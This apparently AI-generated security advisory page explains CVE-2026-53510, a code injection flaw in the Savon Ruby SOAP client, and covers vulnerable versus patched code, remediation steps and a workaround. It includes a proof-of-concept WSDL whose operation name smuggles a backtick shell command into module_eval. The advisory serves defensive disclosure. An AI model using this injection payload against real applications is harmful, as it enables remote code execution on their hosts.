CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-53510

CVE-2026-53510: Remote Code Execution via Dynamic WSDL Parsing in Savon Ruby SOAP Client

Alon Barad
Alon Barad
Software Engineer

Aug 1, 2026·6 min read·2 visits

Executive Summary (TL;DR)

Unsanitized WSDL operation names are interpolated directly into double-quoted strings within module_eval in Savon < 2.17.2. This enables remote code execution when parsing a malicious or compromised WSDL document.

A critical code injection vulnerability exists in Savon, a widely used SOAP client library for Ruby, prior to version 2.17.2. The vulnerability resides within the Savon::Model.all_operations module, where operation names fetched from a target Web Services Description Language (WSDL) document are dynamically evaluated via module_eval without sanitization. An attacker capable of manipulating the target WSDL document (e.g., through Man-in-the-Middle attacks, DNS hijacking, or Server-Side Request Forgery) can execute arbitrary Ruby code in the context of the parent application process.

Vulnerability Overview

Savon is an open-source SOAP client library for the Ruby programming language. The Savon::Model module provides a declarative DSL (Domain Specific Language) to map SOAP operations directly to Ruby class and instance methods. This mapping is handled automatically by the all_operations class method, which dynamically parses a remote or local WSDL document using the Wasabi library and defines corresponding helper methods.

The attack surface exists in the interface between the parsed WSDL definitions and the Ruby execution environment. The library dynamically generates method bindings by translating SOAP operation tags into Ruby identifiers. Because the translation pipeline accepts metadata fields from external documents without validation, an application that points Savon to an untrusted or interceptable WSDL endpoint exposes itself to code injection.

The vulnerability is classified under CWE-94 (Improper Control of Generation of Code). The impact of this vulnerability is severe, as successful exploitation results in unauthenticated, remote execution of arbitrary commands or scripting code under the permissions of the application worker process.

Root Cause Analysis

The root cause of this vulnerability lies in the implementation of the define_class_operation and define_instance_operation helper methods within the Savon::Model class. When Savon maps SOAP operations, it retrieves a collection of operation names as strings from the parsed WSDL. To dynamically establish helper methods for these operations, the library utilizes the module_eval meta-programming method.

Inside the vulnerable versions of lib/savon/model.rb, the dynamic method definitions were constructed by interpolating the snakecased operation names into double-quoted string templates. This template string was then compiled and executed by the Ruby interpreter. Because double-quoted strings inside a module_eval block are evaluated dynamically, any embedded interpolation or line terminators within the string literal are parsed as active Ruby syntax.

def define_class_operation(operation)
  class_operation_module.module_eval %{
    def #{StringUtils.snakecase(operation.to_s)}(locals = {})
      client.call #{operation.inspect}, locals
    end
  }, __FILE__, __LINE__ - 4
end

If an operation name contains a newline sequence followed by valid Ruby syntax, the parser interprets the newline as a statement separator. The Ruby compiler executes the injected statements before defining any remaining, dummy structures required to avoid compile-time syntax errors. Consequently, the input string breaks out of the method definition context and executes arbitrary code directly during class evaluation.

Code Analysis and Comparative Review

In versions prior to 2.17.2, the code generation path in lib/savon/model.rb relied entirely on evaluating string literals. The following block contrasts the vulnerable implementation with the secure remediation implemented in the official patch.

# VULNERABLE CODE PATH (Savon < 2.17.2)
def define_class_operation(operation)
  class_operation_module.module_eval %{
    def #{StringUtils.snakecase(operation.to_s)}(locals = {})
      client.call #{operation.inspect}, locals
    end
  }, __FILE__, __LINE__ - 4
end
# PATCHED CODE PATH (Savon >= 2.17.2)
def define_class_operation(operation)
  method_name = operation_method_name(operation)
 
  class_operation_module.define_method(method_name) do |locals = {}|
    client.call operation, locals
  end
end
 
def operation_method_name(operation)
  StringUtils.snakecase(operation.to_s).to_sym
end

The patch eliminates the module_eval compilation phase entirely. By replacing raw string generation with Module#define_method, the runtime treats the generated method name strictly as a Symbol and binds the body within a standard Ruby block closure. This architectural shift ensures that the operation name is processed purely as a data identifier rather than executable instructions, neutralising any embedded injection vectors.

Exploitation Methodology and PoC Analysis

Exploitation requires that an attacker can control the contents of the WSDL file parsed by the Savon client. This condition is met when the target application processes dynamic user-provided WSDL URLs, communicates with an upstream provider over unencrypted HTTP, or is susceptible to local file write vulnerabilities.

An attacker constructs a malicious WSDL containing a crafted operation name. By using the XML numeric entity &#10; to represent a newline inside the name attribute, the attacker escapes the method signature layout. The payload below demonstrates this technique:

<?xml version="1.0"?>
<wsdl:definitions xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
                  xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
                  name="ExploitService" targetNamespace="urn:exploit">
  <wsdl:binding name="ExploitBinding" type="wsdl:ExploitPort">
    <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
    <wsdl:operation name="foo&#10;end&#10;`touch /tmp/pwned_savon_model`&#10;def x">
      <soap:operation soapAction="urn:exploit#foo"/>
    </wsdl:operation>
  </wsdl:binding>
</wsdl:definitions>

When the victim application initializes the dynamic integrations by calling all_operations, the operation name is converted and executed. The resulting evaluated code maps directly to this structure:

def foo
end
`touch /tmp/pwned_savon_model`
def x(locals = {})
  client.call "foo\nend\n`touch /tmp/pwned_savon_model`\ndef x", locals
end

The subshell execution `touch /tmp/pwned_savon_model` runs under the privileges of the active Ruby process immediately upon parsing.

Impact Assessment & Attack Complexity

The CVSS Base Score is evaluated at 8.1 (High) with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. Although the vulnerability allows remote code execution without privileges or user interaction, the Attack Complexity is classified as High. An attacker must manipulate or intercept the WSDL transmission channel to feed the malicious definitions to the parser.

If the application process is running with root or administrative privileges, successful exploitation gives the attacker complete system compromise. This includes the ability to read sensitive environment variables, extract database credentials, modify application files, or pivot to internal network infrastructure.

Even in environments where network access is restricted, local file inclusion (LFI) or server-side parameter control could allow an attacker to direct Savon to parse a local, malicious file, resulting in local privilege escalation or container escape if host directories are poorly isolated.

Remediation and Defensive Configurations

To fully remediate CVE-2026-53510, software developers must upgrade the Savon gem to version 2.17.2 or later. This version replaces module_eval with safe define_method calls.

In scenarios where an immediate library upgrade is not possible, developers should avoid using the dynamic Savon::Model.all_operations initializer. Instead, configure Savon::Model by hardcoding trusted operation names using the explicit operations class method. This approach ensures that dynamic mapping logic is bypassed completely.

# SAFE COMPROMISE WORKAROUND
class SecureSoapService
  extend Savon::Model
  client wsdl: "http://example.com/untrusted.wsdl"
 
  # Manually list safe operations, preventing automated evaluation
  operations :get_user_profile, :update_user_profile
end

Additionally, applications fetching WSDLs from remote endpoints must enforce strict TLS peer verification. Do not disable SSL verification in the Savon client configuration, and avoid using insecure HTTP URLs to ingest dynamic integration configurations.

Official Patches

savonrbSavon Core Fix Patch Commit
savonrbOfficial Savon v2.17.2 Release Tag

Fix Analysis (1)

Technical Appendix

CVSS Score
8.1/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

Ruby applications using Savon client library configured with Savon::Model.all_operations mapping.

Affected Versions Detail

Product
Affected Versions
Fixed Version
savon
savonrb
>= 0.9.8, < 2.17.22.17.2
AttributeDetail
CWE IDCWE-94: Improper Control of Generation of Code ('Code Injection')
Attack VectorNetwork (with High Complexity)
CVSS v3.1 Score8.1
Exploit StatusProof of Concept (PoC) documented in test suite
CISA KEV StatusNot listed
Remediation StatusPatched in Version 2.17.2

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The product generates code or parses code using unsanitized inputs from upstream sources, allowing an attacker to inject arbitrary commands or scripts.

Known Exploits & Detection

GitHub Security AdvisoryAdvisory text containing detailed Proof of Concept with structured XML entities inside operation names.

Vulnerability Timeline

Vulnerability discovered and reported securely to Savon maintainers by @connorshea.
2026-05-21
Vulnerability fixed in Savon repository via commit 8f22eb543e7436f6247172c9be47e22792d375e9.
2026-05-31
Savon version 2.17.2 released containing the security patch.
2026-06-10
Public disclosure of CVE-2026-53510 and publishing of GHSA-mx5j-mp4f-g8jg.
2026-07-31

References & Sources

  • [1]Official NVD Detail Listing
  • [2]Authoritative CVE.org Record
  • [3]Official GitHub Security Advisory

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-58263
7.2

CVE-2026-58263: Mutation Cross-Site Scripting (mXSS) in Jodit Editor clean-html Sanitizer

CVE-2026-58263 is a high-severity Mutation Cross-Site Scripting (mXSS) vulnerability affecting Jodit Editor prior to version 4.12.28. The flaw exists in Jodit's built-in clean-html sanitizer plugin, which fails to securely parse and sanitize nested elements containing foreign namespaces like MathML and SVG. Attackers can bypass sanitization by smuggling malicious payload elements inside rawtext container tags like style inside a MathML node, leading to DOM mutation and unauthenticated arbitrary script execution in the context of the user's browser session.

Amit Schendel
Amit Schendel
1 views•6 min read
•about 2 hours ago•CVE-2026-65841
5.3

CVE-2026-65841: Client-Side Cross-Site Scripting (XSS) via Foreign Namespace Sanitization Bypass in Jodit Editor

Jodit Editor versions prior to 4.13.6 are vulnerable to client-side Cross-Site Scripting (XSS). The clean-html plugin's sanitization routine performs case-sensitive lookups against uppercase-only element blacklists. When processing XML-based foreign namespaces such as SVG or MathML, DOM engines preserve the lowercase format of tags. Because Jodit's denyTags check fails to normalize tag casing, malicious script blocks nested inside foreign namespace elements completely bypass validation and serialize directly into the editor output.

Amit Schendel
Amit Schendel
2 views•6 min read
•about 4 hours ago•CVE-2026-53466
6.5

CVE-2026-53466: Integer Conversion Overflow in ImageMagick XCF Decoder

An integer conversion overflow vulnerability exists in the XCF decoder of ImageMagick before version 6.9.13-51 and 7.1.2-26. The issue arises from mixed-type arithmetic that promotes calculation results to floating-point representations, causing an undefined cast back to integer. Under optimizing compilers, this undefined behavior results in bounds checks being bypassed, allowing out-of-bounds heap reads.

Amit Schendel
Amit Schendel
2 views•6 min read
•about 5 hours ago•CVE-2026-53599
7.5

CVE-2026-53599: Authenticated Remote Code Execution in REDAXO CMS via Mediapool File Upload Validation Bypass

An authenticated file upload validation bypass vulnerability exists in the REDAXO CMS Mediapool addon in versions 5.18.2 through 5.21.0. Under permissive web server configurations, this allows authenticated users with media upload privileges to achieve remote code execution via multi-segment extension file uploads.

Alon Barad
Alon Barad
2 views•7 min read
•about 6 hours ago•CVE-2026-52887
10.0

CVE-2026-52887: Critical SQL Injection and Remote Code Execution in NocoBase

A critical SQL injection vulnerability exists in the @nocobase/plugin-notification-in-app-message plugin of NocoBase prior to version 2.0.61. The flaw is caused by direct string interpolation of user-controlled input into a Sequelize.literal() query, allowing authenticated users to execute stacked PostgreSQL queries and achieve remote code execution on the underlying database server.

Amit Schendel
Amit Schendel
5 views•7 min read
•about 7 hours ago•CVE-2026-53606
5.4

CVE-2026-53606: Stored Cross-Site Scripting (XSS) via Unsanitized URI-bearing Attributes in sanitize-html

An incomplete default configuration vulnerability in sanitize-html prior to version 2.17.5 allows remote attackers to execute arbitrary JavaScript code via crafted HTML payloads containing neglected URI-bearing attributes (e.g., action, formaction, data, xlink:href) that bypass input validation logic.

Alon Barad
Alon Barad
3 views•6 min read